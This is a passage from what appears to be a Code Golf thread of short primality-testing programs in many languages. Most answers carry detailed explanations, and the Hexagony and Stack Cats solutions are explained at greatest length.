the modulo) on edge **D**. **B** is used as a temporary edge for computations. The memory pointer (MP) starts out on edge **A** and points north (this is important for moving the MP around). Now here is the first bit of the code: ``` )}?}=&{ ``` `)` increments edge **A** to `1` as the basis of the factorial. `}` makes the MP take a right-turn, i.e. move to edge **C** (pointing north-east). Here we read the input as an integer with `?`. Then we take another right-turn to edge **D** with `}`. `=` reverses the MP, such that it points at the vertex shared with **C**. `&` copies the value from **C** (the input) into **D** - the value is copied from the left because the current value is non-positive (zero). Finally, we make the MP take a left-turn back to **C** with `{`. Next, `<` is technically a branch, but we know that the current value is positive, so the IP will always turn right towards the `>`. A branch hit from the side acts as a mirror, such that the IP moves horizontally again, towards the `(`, which decrements the value in **C**. The next branch, `<` is *actually* a branch now. This is how we loop from `n-1` down to `1`. While the current value in **C** is positive, the IP takes a right-turn (to execute the loop). Once we hit zero, it will turn left instead. Let's look at the loop "body". The `|` are simple mirrors, the `>` and `<` are also used as mirrors again. That means the actual loop body boils down to ``` }=)&}=*}= ``` `}` moves the MP to edge **B**, `=` reverses its direction to face the vertex **ABC**. `)` increments the value: this is only relevant for the first iteration, where the value of **B** is still zero: we want to ensure that it's positive, such that the next instruction `&` copies the *right* neighbour, i.e. **A**, i.e. the current value of the factorial computation, into **B**. `}` then moves the MP to **A**, `=` reverses it again to face the common vertex. `*` multiplies both neighbours, i.e. edges **B** and **C** and stores the result in **A**. Finally, we have another `}=` to return to **C**, still facing the vertex **ABC**. I hope you can see how this computes the factorial of `n-1` in **A**. So now we've done that, the loop counter in **C** is zero. We want to square the factorial and then take the modulo with the input. That's what this code does: ``` &}=*{&'%!@ ``` Since **C** is zero, `&` copies the left neighbour, i.e. the factorial in **A**. `}=*` moves to **B** and stores the product of the two copies of the factorial (i.e. the square) in **B**. `{` moves back to **C**, but doesn't reverse the MP. We know that the current value is now positive, so `&` copies input from **D** into **C**. `'` the MP *backwards* to the right, i.e. onto **A**. Remember, the square of the factorial is in **B** and the input is in **C**. So `%` computes `(n-1)!^2 % n`, exactly what we're looking for. `!` prints the result as an integer (0 or 1) and `@` terminates the program. --- Okay, but that was the ungolfed version. What about the golfed version? You need to know two more things about Hexagony: 1. The edges wrap around. If the IP hits an edge of the hexagon, it jumps to the opposite edge. This is ambiguous when the IP hits a corner straight on, so hitting a corner also acts as a branch: if the current value is positive, the IP jumps to the grid edge to its right, otherwise to the one to its left. 2. There are actually *6* IPs. Each of them starts in a different corner, moving along the edge in the clockwise direction. Only one of them is active at a time, which means you can just ignore the other 5 IPs if you don't want them. You can switch to the next IP (in clockwise order) with `]` and to the previous one with `[`. (You can also choose a specific one with `#`, but that's for another time.) There are also a few new commands in it: `\` and `/` are mirrors like `|`, and `~` multiplies the current value by `-1`. So how does the ungolfed version translate to the golfed one? The linear set up code `)}?}=&{` and the basic loop structure can be found here: ``` ) } ? } . -> . . . . . . . . . . . . . . . . . . . . . -> . = & { . < . . . . . . . . > ( < . . . . . . . . . . . . . . . . . . ``` Now the loop body crosses the edges a few times, but most importantly, the actual computation is handed off to the previous IP (which starts at the left corner, moving north east): ``` ) . . . . = . . . ] . } = . . } . . ~ . / . * . . . . . . . . . . . . . . . = . > ( < . . } . = . . . & . \ [ . . . . . . ``` After bouncing off the branch towards south east, the IP wraps around the edge to the two `=` in the top left corner (which, together, are a no-op), then bounces off the `/`. The `~` inverts the sign of the current value, which is important for subsequent iterations. The IP wraps around the same edge again and finally hits `[` where control is handed over to the other IP. This one now executes `~}=)&}=*}` which undoes the negation and then just runs the ungolfed loop body (minus the `=`). Finally it hits `]` which hands control back to the original IP. (Note that next time, we execute it this IP, it will start from where it left off, so it will first hit the corner. We need the current value to be negative in order for the IP to jump back to the north west edge instead of the south east one.) Once the original IP resumes control, it bounces off the `\`, executes the remaining `=` and then hits `>` to feed into the next loop iteration. Now the really crazy part: what happens when the loop terminates? ``` ) . . . . . ( . . ] = . . ' . } . } . . . % * . . & . . . . . . . . . . . . = | . . < . . } ! . . . . & @ . . . . . . . . ``` The IP moves north east form the `<` and wraps around to the north east diagonal. So it ends up on the same execution path as the loop body (`&}=*}]`). Which is actually pretty cool, because that is exactly the code we want to execute at this point, at least if we add another `=}` (because `}=}` is equivalent to `{`). But how does this not actually enter the earlier loop again? Because `]` changes to the next IP which is now the (so far unused) IP which starts in the top right corner, moving south west. From there, the IP continues along the edge, wraps to the top left corner, moves down the diagonal, bounces off the `|` and terminates at `@` while executing the final bit of linear code: ``` =}&)('%!@ ``` (The `)(` is a no-op of course - I had to add the `(` because the `)` was already there.) Phew... what a mess... [Answer] # Pyth, 4 bytes ``` }QPQ ``` Prints `True` or `False`. [Answer] ## [Retina](https://github.com/m-ender/retina/wiki/The-Language), 16 bytes ``` ^(?!(..+)\1+$).. ``` [Try it online!](https://tio.run/##K0otycxLNPyvqpGgp82l9T9Ow15RQ09PWzPGUFtFU0/v/39DLiMuYy4TLlMuMy5zLgsuSy5DAy5DQwA "Retina – Try It Online") Let's start with a classic: [detecting primes with a regex](https://stackoverflow.com/q/2795065/1633117). Input should be given in *unary*, using any repeated printable character. The test suite includes a conversion from decimal to unary for convenience. A Retina program consisting of a single line treats that line as a regex and prints the number of matches found in the input, which will be `0` for composite numbers and `1` for primes. The lookahead ensures that the input is not composite: backtracking will try every possible substring (of at least 2 characters) for `(..+)`, the lookahead then attempts to match the rest of the input by repeating what was captured here. If this is possible, that means the input has a divisor greater than 1, but which is less than itself. If that is the case the *negative* lookahead causes the match to fail. For primes there is no such possibility, and the match continues. The only issue is that this lookahead also accepts `1`, so we rule that out by matching at least two characters with `..`. [Answer] # HTML+CSS, 254+nmax\*28 bytes We can check primality using regular expressions. Mozilla has `@document`, which is defined as: ``` @document [ <url> | url-prefix(<string>) | domain(<string>) | regexp(<string>) ]# { <group-rule-body> } ``` To filter elements via CSS based on the current URL. This is a single pass, so we have to do two steps: 1. Get input from the user. This input must somehow be reflected in the current URL. 2. Reply to the user in as little code as possible. **1. Getting Input** The shortest way I can figure to get input and transfer that to the URL is a `GET` form with checkboxes. For the regex, we just need some unique string to count appearances. So we start with this (61 bytes): ``` <div id=q><p id=r>1<p id=s>0</div><form method=GET action=#q> ``` We got two unique `<p>`s to indicate whether the entered number is a prime (1) or not (0). We also define the form and it's action. Followed by nmax checkboxes with the same name (nmax\*28 bytes): ``` <input type=checkbox name=i> ``` Followed by the submit element (34 bytes): ``` <input name=d value=d type=submit> ``` **2. Display Answer** We need the CSS (159 bytes) to select the `<p>` to display (1 or 0): ``` #q,#s,#q:target{display:none}#q:target{display:block}@-moz-document regexp(".*\\?((i=on&)?|(((i=on&)(i=on&)+?)\\4+))d=d#q$"){#s{display:block}#r{display:none}} ``` --- ## [» Try it at codepen.io (firefox only)](https://codepen.io/turbodev/pen/YWJoJr) ![](https://i.stack.imgur.com/pRKzA.png) [Answer] # [Hexagony](https://github.com/m-ender/hexagony), 28 bytes Since [Etoplay](https://codegolf.stackexchange.com/users/45161/etoplay) absolutely trounced me on [this question](https://codegolf.stackexchange.com/a/143928/71256), I felt that I had to outgolf his only other [answer](https://codegolf.stackexchange.com/a/58347/71256). ``` ?\.">"!*+{&'=<\%(><.*.'(@>'/ ``` [Try it online!](https://tio.run/##y0itSEzPz6v8/98@Rk/JTklRS7taTd3WJkZVw85GT0tPXcPBTl3//39DA0MA "Hexagony – Try It Online") I use Wilson's Theorem, like Martin did in his [answer](https://codegolf.stackexchange.com/a/57706/71256): Given `n`, I output `(n-1!)² mod n` Here it the program unfolded: ``` ? \ . " > " ! * + { & ' = < \ % ( > < . * . ' ( @ > ' / . . . . . . . . . ``` And here is the *readable* version: [![Very readable](https://i.stack.imgur.com/atuRJ.png)](https://i.stack.imgur.com/atuRJ.png) ### Explanation: The program has three main steps: **Initialisation**, **Factorial** and **Output**. Hexagony's memory model is an infinite hexagonal grid. I am using 5 memory locations, as shown in this diagram: [![Memory](https://i.stack.imgur.com/sDrUa.png)](https://i.stack.imgur.com/sDrUa.png) I will be referring to these locations (and the Integers stored in them) by their labels on that diagram. ### Initialisation: [![Initialisation](https://i.stack.imgur.com/Lm5h7.png)](https://i.stack.imgur.com/Lm5h7.png) The instruction pointer (**IP**) starts at the top left corner, going East. The memory pointer (**MP**) starts at **IN**. First, `?` reads the number from input and stores it in **IN**. The **IP** stays on the blue path, reflected by `\`. The sequence `"&(` moves the **MP** back and to the left (to **A**), copies the value from **IN** to **A** and decrements it. The **IP** then exits one side of the hexagon and re-enters the other side (onto the green path). It executes `'+` which moves the **MP** to **B** and copies what was in **A**. `<` redirects the **IP** to West. ### Factorial: I compute the factorial in a specific way, so that squaring it is easy. I store `n-1!` in both **B** and **C** as follows. [![Factorial](https://i.stack.imgur.com/Z6Eun.png)](https://i.stack.imgur.com/Z6Eun.png) The instruction pointer starts on the blue path, heading East. `='` reverses the direction of the **MP** and moves it backwards to **C**. This is equivalent to `{=` but having the `=` where it is was helpful later. `&{` copies the value from **A** to **C**, then moves the **MP** back to **A**. The **IP** then follows the green path, doing nothing, before reaching the red path, hitting `\` and going onto the orange path. With `(>`, we decrement **A** and redirect the **IP** East. Here it hits a branch: `<`. For positive **A**, we continue along the orange path. Otherwise the **IP** gets directed North-East. `'*` moves the **MP** to **B** and stores **A** \* **C** in **B**. This is `(n-1)*(n-2)` where the initial input was `n`. The **IP** then enters back into the initial loop and continues decrementing and multiplying until **A** reaches `0`. (computing `n-1!`) **N.B**: On following loops, `&` stores the value from **B** in **C**, as **C** has a positive value stored in it now. This is crucial to computing factorial. ### Output: [![Output](https://i.stack.imgur.com/frdsq.png)](https://i.stack.imgur.com/frdsq.png) When **A** reaches `0`. The branch directs the **IP** along the blue path instead. `=*` reverses the **MP** and stores the value of **B** \* **C** in **A**. Then the **IP** exits the hexagon and re-enters on the green path; executing `"%`. This moves the **MP** to **OUT** and calculates **A** mod **IN**, or `(n-1!)² mod n`. The following `{"` acts as a no-op, as they cancel each-other out. `!` prints the final output and `*+'(` are executed before termination: `@`. After execution, (with an input of `5`) the memory looks like this: [![Memory2](https://i.stack.imgur.com/VLqWL.png)](https://i.stack.imgur.com/VLqWL.png) The beautiful images of the control flow were made using [Timwi's](https://codegolf.stackexchange.com/users/668/timwi) [Hexagony Coloror](https://github.com/Timwi/HexagonyColorer). Thank you to [Martin Ender](https://codegolf.stackexchange.com/users/8478/martin-ender) for generating all of the images, as I couldn't do it on my PC. [Answer] ## CJam, 4 bytes ``` qimp ``` CJam has a built-in operator for primality testing. [Answer] # [Help, WarDoq!](http://esolangs.org/wiki/Help,_WarDoq!), 1 byte ``` P ``` Outputs 1 if the input is prime, 0 otherwise. [Answer] # [Mornington Crescent](https://esolangs.org/wiki/Mornington_Crescent), 2448 bytes [We're back](https://codegolf.stackexchange.com/a/57064/8478) in London! ``` Take Northern Line to Bank Take Circle Line to Bank Take District Line to Parsons Green Take District Line to Bank Take Circle Line to Hammersmith Take District Line to Upney Take District Line to Hammersmith Take Circle Line to Victoria Take Victoria Line to Seven Sisters Take Victoria Line to Victoria Take Circle Line to Victoria Take Circle Line to Bank Take Circle Line to Hammersmith Take Circle Line to Cannon Street Take Circle Line to Hammersmith Take Circle Line to Cannon Street Take Circle Line to Bank Take Circle Line to Hammersmith Take Circle Line to Aldgate Take Circle Line to Aldgate Take Metropolitan Line to Chalfont & Latimer Take Metropolitan Line to Aldgate Take Circle Line to Hammersmith Take District Line to Upminster Take District Line to Hammersmith Take Circle Line to Notting Hill Gate Take Circle Line to Hammersmith Take Circle Line to Notting Hill Gate Take District Line to Upminster Take District Line to Bank Take Circle Line to Victoria Take Circle Line to Temple Take Circle Line to Aldgate Take Circle Line to Aldgate Take Metropolitan Line to Chalfont & Latimer Take Metropolitan Line to Pinner Take Metropolitan Line to Chalfont & Latimer Take Metropolitan Line to Pinner Take Metropolitan Line to Chalfont & Latimer Take Metropolitan Line to Pinner Take Metropolitan Line to Aldgate Take Circle Line to Hammersmith Take District Line to Upminster Take District Line to Victoria Take Circle Line to Aldgate Take Circle Line to Victoria Take Circle Line to Victoria Take District Line to Upminster Take District Line to Embankment Take Circle Line to Embankment Take Northern Line to Angel Take Northern Line to Moorgate Take Metropolitan Line to Chalfont & Latimer Take Metropolitan Line to Aldgate Take Circle Line to Aldgate Take Circle Line to Cannon Street Take District Line to Upney Take District Line to Cannon Street Take District Line to Acton Town Take District Line to Acton Town Take Piccadilly Line to Russell Square Take Piccadilly Line to Hammersmith Take Piccadilly Line to Russell Square Take Piccadilly Line to Ruislip Take Piccadilly Line to Ruislip Take Metropolitan Line to Preston Road Take Metropolitan Line to Aldgate Take Circle Line to Aldgate Take Circle Line to Cannon Street Take Circle Line to Aldgate Take Circle Line to Aldgate Take Metropolitan Line to Preston Road Take Metropolitan Line to Moorgate Take Circle Line to Moorgate Take Northern Line to Mornington Crescent ``` Timwi was so kind to implement the control flow stations `Temple` and `Angel` in [Esoteric IDE](https://github.com/Timwi/EsotericIDE/) as well as add input and integer parsing to the language specification. This one is probably better golfed than the "Hello, World!", because this time I wrote a CJam script to help me find the shortest path between any two stations. If you want to use it (although I don't know why anyone would want to...), you can use [the online interpreter](http://cjam.aditsu.net/). Paste this code: ``` "Mornington Crescent" "Cannon Street" ]qN/{'[/0=,}$:Q;{Q{1$#!}=\;_oNo'[/1>{']/0="[]"\*}%}%:R;NoQ{R\f{f{\#)}:+}:*},N* ``` Here the first two lines are the stations you want to check. Also, paste the contents of [this pastebin](http://pastebin.com/raw.php?i=CMbQxrpS) into the input window. The output will show you which lines are available at the two stations, and then a list of all stations which connect the two, sorted by the length of the station names. It shows all of them, because sometimes it's better to use a longer name, either because it allows a shorter line, or because the station is special (like Bank or Temple) so that you want to avoid it. There are some edge cases where two stations aren't connected by any single other station (notably, the Metropolitan and District lines never cross), in which case you'll have to figure out something else. ;) As for the actual MC code, it's based on the squared-factorial approach as many other answers because MC has multiplication, division and modulo. Also, I figured that a single loop would be convenient. One issue is that the loops are do-while loops, and decrementing and incrementing is expensive, so I can't easily compute `(n-1)!` (for `n > 0`). Instead, I'm computing `n!` and then divide by `n` at the end. I'm sure there is a better solution for this. When I started writing this, I figured that storing `-1` in Hammersmith would be a good idea so I can decrement more cheaply, but in the end this may have cost more than it saved. If I find the patience to redo this, I might try just keeping a `-1` around in Upminster instead so I can use Hammersmith for something more useful. [Answer] # Haskell, 49 bytes Using [*xnor's Corollary to Wilson's Theorem*](https://codegolf.stackexchange.com/a/27022/21487): ``` main=do n<-readLn;print$mod(product[1..n-1]^2)n>0 ``` [Answer] # [Brachylog](https://github.com/JCumin/Brachylog) (V2), 1 byte ``` ṗ ``` [Try it online!](https://tio.run/nexus/brachylog2#@/9w5/T//w2N/wMA "Brachylog – TIO Nexus") # [Brachylog](https://github.com/JCumin/Brachylog) (V1), 2 bytes [``` #p ```](http://brachylog.tryitonline.net/#code=I3A&input=MTAx) This uses the built-in predicate `#p - Prime`, which constrains its input to be a prime number. Brachylog is my attempt at making a Code Golf version of Prolog, that is a declarative code golf language that uses backtracking and unification. ### Alternate solution with no built-in: 14 bytes ``` ybbrb'(e:?r%0) ``` Here is a breakdown of the code above: ``` y The list [0, …, Input] bbrb The list [2, …, Input - 1] '( True if what's in the parentheses cannot be proven; else false e Take an element from the list [2, …, Input - 1] :?r%0 The remainder of the division of the Input but that element is 0 ) ``` [Answer] # [Labyrinth](http://esolangs.org/wiki/Labyrinth), 29 bytes ``` 1 ? : } +{%!@ (:'( } { :** ``` Reads an integer from STDIN and outputs `((n-1)!)^2 mod n`. [Wilson's theorem](https://en.wikipedia.org/wiki/Wilson%27s_theorem) is pretty useful for this challenge. The program starts at the top-left corner, beginning with `1` which multiplies the top of the stack by 10 and adds 1. This is Labyrinth's way of building large numbers, but since Labyrinth's stacks are filled with zeroes, the end effect is as though we just pushed a 1. `?` then reads `n` from STDIN and `:` duplicates it. `}` shifts `n` to the auxiliary stack, to be used at the end for the modulo. `(` then decrements `n`, and we are ready to begin calculating the squared factorial. Our second `:` (duplicate) is at a junction, and here Labyrinth's control flow features come into play. At a junction after an instruction is executed, if the top of the stack is positive we turn right, for negative we turn left and for zero we go straight ahead. If you try to turn but hit a wall, Labyrinth makes you turn in the other direction instead. For `n = 1`, since the top of the stack is `n` decremented, or `0`, we go straight ahead. We then hit a no-op `'` followed by another decrement `(` which puts us at `-1`. This is negative, so we turn left, executing `+` plus (`-1 + 0 = -1`), `{` to shift `n` back from the auxiliary stack to the main and `%` modulo (`-1 % 1 = 0`). Then we output with `!` and terminate with `@`. For `n > 1`, at the second `:` we turn right. We then shift `}` our copied loop counter to the auxiliary stack, duplicate `:` and multiply twice `**`, before shifting the counter back `{` and decrementing `(`. If we're still positive we try to turn right but can't, so Labyrinth makes us turn left instead, continuing the loop. Otherwise, the top of the stack is our loop counter which has been reduced to 0, which we `+` add to our calculated `((n-1)!)^2`. Finally, we shift `n` back with `{` then modulo `%`, output `!` and terminate `@`. I said that `'` is a no-op, but it can also be used for debugging. Run with the `-d` flag to see the state of the stack every time the `'` is passed over! [Answer] # Bash + GNU utilities, 16 * 4 bytes saved thanks to @Dennis * 2 bytes saved thanks to @Lekensteyn ``` factor|awk NF==2 ``` Input is one line taken from STDIN. Output is empty string for falsey and non-empty string for truthy. E.g.: ``` $ ./pr.sh <<< 1 $ ./pr.sh <<< 2 2: 2 $ ./pr.sh <<< 3 3: 3 $ ./pr.sh <<< 4 $ ``` [Answer] # Java, ~~126~~ 121 bytes I guess we need a Java answer for the scoreboard... so here's a simple trial division loop: ``` class P{public static void main(String[]a){int i=2,n=Short.valueOf(a[0]);for(;i<n;)n=n%i++<1?0:n;System.out.print(n>1);}} ``` As usual for Java, the "full program" requirement makes this much larger than it would be if it were a function, due mostly to the `main` signature. In expanded form: ``` class P{ public static void main(String[]a){ int i=2,n=Short.valueOf(a[0]); for(;i<n;) n=n%i++<1?0:n; System.out.print(n>1); } } ``` **Edit:** Fixed and regolfed by Peter in comments. Thanks! [Answer] ## JavaScript, ~~39~~ 36 bytes Saved 3 bytes thanks to ETHproductions: ``` for(i=n=prompt();n%--i;);alert(1==i) ``` Displays true for a prime, false otherwise. The *for* loop tests every number *i* from *n-1* until *i* is a divisor. If the first divisor found is *1* then it's a prime number. --- **Previous solution (39 bytes):** ``` for(i=n=prompt();n%--i&&i;);alert(1==i) ``` How was left an unneeded test: ``` for(i=2,n=prompt();n%i>0&&i*i<n;i++);alert(n%i>0) //49: Simple implementation: loop from 2 to sqrt(n) to test the modulo. for(i=2,n=prompt();n%i>0&&i<n;i++);alert(n==i) //46: Replace i*i<n by i<n (loop from 2 to n) and replace n%i>0 by n==i for(i=2,n=prompt();n%i&&i<n;i++);alert(n==i) //44: Replace n%i>0 by n%i for(i=2,n=prompt();n%i&&i++<n;);alert(n==i) //43: Shorten loop increment for(i=n=prompt();n%--i&&i>0;);alert(1==i) //41: Loop from n to 1. Better variable initialization. for(i=n=prompt();n%--i&&i;);alert(1==i) //39: \o/ Replace i>0 by i ``` I only posted the 39 bytes solution because the best JavaScript answer was already 40 bytes. [Answer] # R, ~~37~~ 29 bytes ``` n=scan();cat(sum(!n%%1:n)==2) ``` Uses trial division. `scan()` reads an integer from STDIN and `cat()` writes to STDOUT. We generate a vector of length `n` consisting of the integers 1 to `n` modulo `n`. We test whether each is 0 by negating (`!`), which returns a logical value that's true when the number is 0 and false when it's greater than 0. The sum of a logical vector is the number of true elements, and for prime numbers we expect the only nonzero moduli to be 1 and `n`, thus we expect the sum to be 2. Saved 8 bytes thanks to flodel! [Answer] ## [Stack Cats](https://github.com/m-ender/stackcats), 62 + 4 = 66 bytes ``` *(>:^]*(*>{<-!<:^>[:((-<)<(<!-)>>-_)_<<]>:]<]]}*<)]*(:)*=<*)>] ``` Needs to be run with the `-ln` command-line flags (hence +4 bytes). Prints `0` for composite numbers and `1` for primes. [Try it online!](http://stackcats.tryitonline.net/#code=Kig-Ol5dKigqPns8LSE8Ol4-WzooKC08KTwoPCEtKT4-LV8pXzw8XT46XTxdXX0qPCldKig6KSo9PCopPl0&input=MTA3&args=LWxu) I think this is the first non-trivial Stack Cats program. ### Explanation A quick Stack Cats introduction: * Stack Cats operates on an infinite tape of stacks, with a tape head pointing at a current stack. Every stack is initially filled with an infinite amount of zeros. I will generally ignore these zeros in my wording, so when I say "the bottom of stack" I mean the lowest non-zero value and if I say "the stack is empty" I mean there's only zeros on it. * Before the program starts, a `-1` is pushed onto the initial stack, and then the entire input is pushed on top of that. In this case, due to the `-n` flag, the input is read as a decimal integer. * At the end of the program, the current stack is used for output. If there's a `-1` at the bottom, it will be ignored. Again, due to the `-n` flag, the values from the stack are simply printed as linefeed-separated decimal integers. * Stack Cats is a reversible program language: every piece of code can be undone (without Stack Cats keeping track of an explicit history). More specifically, to reverse any piece of code, you simply mirror it, e.g. `<<(\-_)` becomes `(_-/)>>`. This design goal places fairly severe restrictions on what kinds of operators and control flow constructs exist in the language, and what sorts of functions you can compute on the global memory state. * To top it all off, every Stack Cats program has to be self-symmetric. You might notice that this is not the case for the above source code. This is what the `-l` flag is for: it implicitly mirrors the code to the left, using the first character for the centre. Hence the actual program is: ``` [<(*>=*(:)*[(>*{[[>[:<[>>_(_-<<(-!>)>(>-)):]<^:>!->}<*)*[^:<)*(>:^]*(*>{<-!<:^>[:((-<)<(<!-)>>-_)_<<]>:]<]]}*<)]*(:)*=<*)>] ``` Programming effectively with the entire code is highly non-trivial and unintuitive and haven't really figured out yet how a human can possibly do it. [We've brute forced such program](https://codegolf.stackexchange.com/a/82985/8478) for simpler tasks, but wouldn't have been able to get anywhere near that by hand. Luckily, we've found a basic pattern which allows you to ignore one half of the program. While this is certainly suboptimal, it's currently the only known way to program effectively in Stack Cats. So in this answer, the template of said pattern is this (there's some variability in how it's executed): ``` [<(...)*(...)>] ``` When the program starts, the stack tape looks like this (for input `4`, say): ``` 4 ... -1 ... 0 ^ ``` The `[` moves the top of the stack to the left (and the tape head along) - we call this "pushing". And the `<` moves the tape head alone. So after the first two commands, we've got this situation: ``` ... 4 -1 ... 0 0 0 ^ ``` Now the `(...)` is a loop which can be used quite easily as a conditional: the loop is entered and left only when the top of the current stack is positive. Since, it's currently zero, we skip the entire first half of the program. Now the centre command is `*`. This is simply `XOR 1`, i.e. it toggles the least significant bit of the top of the stack, and in this case turns the `0` into a `1`: ``` ... 1 4 -1 ... 0 0 0 ^ ``` Now we encounter the mirror image of the `(...)`. This time the top of the stack is positive and we *do* enter the code. Before we look into what goes on inside the parentheses, let me explain how we'll wrap up at the end: we want to ensure that at the end of this block, we have the tape head on a positive value again (so that the loop terminates after a single iteration and is used simply as a linear conditional), that the stack to the right holds the output and that the stack right of *that* holds a `-1`. If that's the case, we do leave the loop, `>` moves onto the output value and `]` pushes it onto the `-1` so we have a clean stack for output. That's that. Now inside the parentheses we can do whatever we want to check the primality as long as we ensure that we set things up as described in the previous paragraph at the end (which can easily done with some pushing and tape head moving). I first tried solving the problem with [Wilson's theorem](https://en.wikipedia.org/wiki/Wilson's_theorem) but ended up well over 100 bytes, because the squared factorial computation is actually quite expensive in Stack Cats (at least I haven't found a short way). So I went with trial division instead and that indeed turned out much simpler. Let's look at the first linear bit: ``` >:^] ``` You've already seen two of those commands. In addition, `:` swaps the top two values of the current stack and `^` XORs the second value into the top value. This makes `:^` a common pattern to duplicate a value on an empty stack (we pull a zero on top of the value and then turn the zero into `0 XOR x = x`). So after this, section our tape looks like this: ``` 4 ... 1 4 -1 ... 0 0 0 ^ ``` The trial division algorithm I've implemented doesn't work for input `1`, so we should skip the code in that case. We can easily map `1` to `0` and everything else to positive values with `*`, so here's how we do that: ``` *(*...) ``` That is we turn `1` into `0`, skip a big part of the code if we get indeed `0`, but inside we immediately undo the `*` so that we get our input value back. We just need to make sure again that we end on a positive value at the end of the parentheses so that they don't start looping. Inside the conditional, we move one stack right with the `>` and then start the main trial division loop: ``` {<-!<:^>[:((-<)<(<!-)>>-_)_<<]>:]<]]} ``` Braces (as opposed to parentheses) define a different kind of loop: it's a do-while loop, meaning it always runs for at least one iteration. The other difference is the termination condition: when entering the loop Stack Cat remembers the top value of the current stack (`0` in our case). The loop will then run until this same value is seen again at the end of an iteration. This is convenient for us: in each iteration we simply compute the remainder of the next potential divisor and move it onto this stack we're starting the loop on. When we find a divisor, the remainder is `0` and the loop stops. We will try divisors starting at `n-1` and then decrement them down to `1`. That means a) we know this will terminate when we reach `1` at the latest and b) we can then determine whether the number is prime or not by inspecting the last divisor we tried (if it's `1`, it's a prime, otherwise it isn't). Let's get to it. There's a short linear section at the beginning: ``` <-!<:^>[: ``` You know what most of those things do by now. The new commands are `-` and `!`. Stack Cats does not have increment or decrement operators. However it has `-` (negation, i.e. multiply by `-1`) and `!` (bitwise NOT, i.e. multiply by `-1` and decrement). These can be combined into either an increment, `!-`, or decrement `-!`. So we decrement the copy of `n` on top of the `-1`, then make another copy of `n` on the stack to the left, then fetch the new trial divisor and put it beneath `n`. So on the first iteration, we get this: ``` 4 3 ... 1 4 -1 ... 0 0 0 ^ ``` On further iterations, the `3` will replaced with the next test divisor and so on (whereas the two copies of `n` will always be the same value at this point). ``` ((-<)<(<!-)>>-_) ``` This is the modulo computation. Since loops terminate on positive values, the idea is to start from `-n` and repeatedly add the trial divisor `d` to it until we get a positive value. Once we do, we subtract the result from `d` and this gives us the remainder. The tricky bit here is that we can't just have put a `-n` on top of the stack and start a loop that adds `d`: if the top of the stack is negative, the loop won't be entered. Such are the limitations of a reversible programming language. So to circumvent this issue, we do start with `n` on top of the stack, but negate it only on the first iteration. Again, that sounds simpler than it turns out to be... ``` (-<) ``` When the top of the stack is positive (i.e. only on the first iteration), we negate it with `-`. However, we can't just do `(-)` because then we wouldn't be *leaving* the loop until `-` was applied twice. So we move one cell left with `<` because we know there's a positive value there (the `1`). Okay, so now we've reliably negated `n` on the first iteration. But we have a new problem: the tape head is now in a different position on the first iteration than in every other one. We need to consolidate this before we move on. The next `<` moves the tape head left. The situation on the first iteration: ``` -4 3 ... 1 4 -1 ... 0 0 0 0 ^ ``` And on the second iteration (remember we've added `d` once into `-n` now): ``` -1 3 ... 1 4 -1 ... 0 0 0 ^ ``` The next conditional merges these paths again: ``` (<!-) ``` On the first iteration the tape head points at a zero, so this is skipped entirely. On further iterations, the tape head points at a one though, so we do execute this, move to the left and increment the cell there. Since we know the cell starts from zero, it will now always be positive so we can leave the loop. This ensures we always end up two stack left of the main stack and can now move back with `>>`. Then at the end of the modulo loop we do `-_`. You already know `-`. `_` is to subtraction what `^` is to XOR: if the top of the stack is `a` and the value underneath is `b` it replaces `a` with `b-a`. Since we first negated `a` though, `-_` replaces `a` with `b+a`, thereby adding `d` into our running total. After the loop ends (we've reached a positive) value, the tape looks like this: ``` 2 3 ... 1 1 4 -1 ... 0 0 0 0 ^ ``` The left-most value could be any positive number. In fact, it's the number of iterations minus one. There's another short linear bit now: ``` _<<]>:]<]] ``` Like I said earlier we need to subtract the result from `d` to obtain the actual remainder (`3-2 = 1 = 4 % 3`), so we just do `_` once more. Next, we need to clean up the stack that we've been incrementing on the left: when we try the next divisor, it needs to be zero again, for the first iteration to work. So we move there and push that positive value onto the other helper stack with `<<]` and then move back onto our operational stack with another `>`. We pull up `d` with `:` and push it back onto the `-1` with `]` and then we move the remainder onto our conditional stack with `<]]`. That's the end of the trial division loop: this continues until we get a zero remainder, in which case the stack to the left contains `n`'s greatest divisor (other than `n`). After the loop ends, there's just `*<` before we join paths with the input `1` again. The `*` simply turns the zero into a `1`, which we'll need in a bit, and then we move to the divisor with `<` (so that we're on the same stack as for input `1`). At this point it helps to compare three different kinds of inputs. First, the special case `n = 1` where we haven't done any of that trial division stuff: ``` 0 ... 1 1 -1 ... 0 0 0 ^ ``` Then, our previous example `n = 4`, a composite number: ``` 2 1 2 1 ... 1 4 -1 1 ... 0 0 0 0 ^ ``` And finally, `n = 3`, a prime number: ``` 3 1 1 1 ... 1 3 -1 1 ... 0 0 0 0 ^ ``` So for prime numbers, we have a `1` on this stack, and for composite numbers we either have a `0` or a positive number greater than `2`. We turn this situation into the `0` or `1` we need with the following final piece of code: ``` ]*(:)*=<* ``` `]` just pushes this value to the right. Then `*` is used to simplify the conditional situation greatly: by toggling the least significant bit, we turn `1` (prime) into `0`, `0` (composite) into the positive value `1`, and all other positive values will still remain positive. Now we just need to distinguish between `0` and positive. That's where we use another `(:)`. If the top of the stack is `0` (and the input was a prime), this is simply skipped. But if the top of the stack is positive (and the input was a composite number) this swaps it with the `1`, so that we now have `0` for composite and `1` for primes - only two distinct values. Of course, they are the opposite of what we want to output, but that is easily fixed with another `*`. Now all that's left is to restore the pattern of stacks expected by our surrounding framework: tape head on a positive value, result on top of the stack to the right, and a single `-1` on the stack right of *that*. This is what `=<*` is for. `=` swaps the tops of the two adjacent stacks, thereby moving the `-1` to the right of the result, e.g. for input `4` again: ``` 2 0 1 3 ... 1 4 1 -1 ... 0 0 0 0 0 ^ ``` Then we just move left with `<` and turn that zero into a one with `*`. And that's that. If you want to dig deeper into how the program works, you can make use of the debug options. Either add the `-d` flag and insert `"` wherever you want to see the current memory state, [e.g. like this](http://stackcats.tryitonline.net/#code=Kig-Ol5dKigqPns8LSE8Ol4-WzooIigtPCk8KDwhLSk-Pi1fKV88PF0-Ol08XV19KjwpXSooOikqPTwqKT5d&input=NA&args=LWxuZA&debug=on), or use the `-D` flag [to get a complete trace of the entire program](http://stackcats.tryitonline.net/#code=Kig-Ol5dKigqPns8LSE8Ol4-WzooKC08KTwoPCEtKT4-LV8pXzw8XT46XTxdXX0qPCldKig6KSo9PCopPl0&input=Mw&args=LWxuRA&debug=on). Alternatively, you can use [Timwi's EsotericIDE](https://github.com/timwi/EsotericIDE) which includes a Stack Cats interpreter with a step-by-step debugger. [Answer] # 